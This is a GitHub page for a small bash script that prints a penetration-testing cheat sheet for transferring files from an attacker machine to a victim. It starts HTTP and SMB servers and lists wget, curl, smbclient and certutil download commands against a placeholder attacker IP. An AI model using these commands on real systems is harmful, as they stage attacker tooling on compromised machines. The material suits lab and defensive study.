-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathHowToPass
More file actions
31 lines (26 loc) · 1017 Bytes
/
Copy pathHowToPass
File metadata and controls
31 lines (26 loc) · 1017 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/bin/bash
#
#How to transfer it from attacker machine to victim.
#
#
echo " "
echo "$(tput setaf 2)[*]Attacker:"
echo "1. python3 -m http.server 80"
echo "2. impacket-smbserver smbFolder $(pwd) -smb2support"
echo " "
echo "[*]Linux:"
echo "1. Victim site --> wget http://<ip>/<resource>"
echo "2. Victim site --> curl http://<ip>/<resource>"
echo "3. Victim site --> smbclient //<ip>/smbFolder/ -N"
echo " "
echo "[*]Windows:"
echo "1. Victim site --> certutil.exe -f -urlcache -split http://<ip>/<resource>"
echo "2. Victim site --> certutil.exe -urlcache -split http://<ip>/<resource>"
echo "3. Victim site --> copy \\<ip>\<folder>\<resource> <resourceNewname>"
echo " "
echo " ______________________________________________________"
echo "| |"
echo "| Si ningún elemento superior funciona, usar: ./xClip | "
echo "| |"
echo "-------------------------------------------------------"
echo ""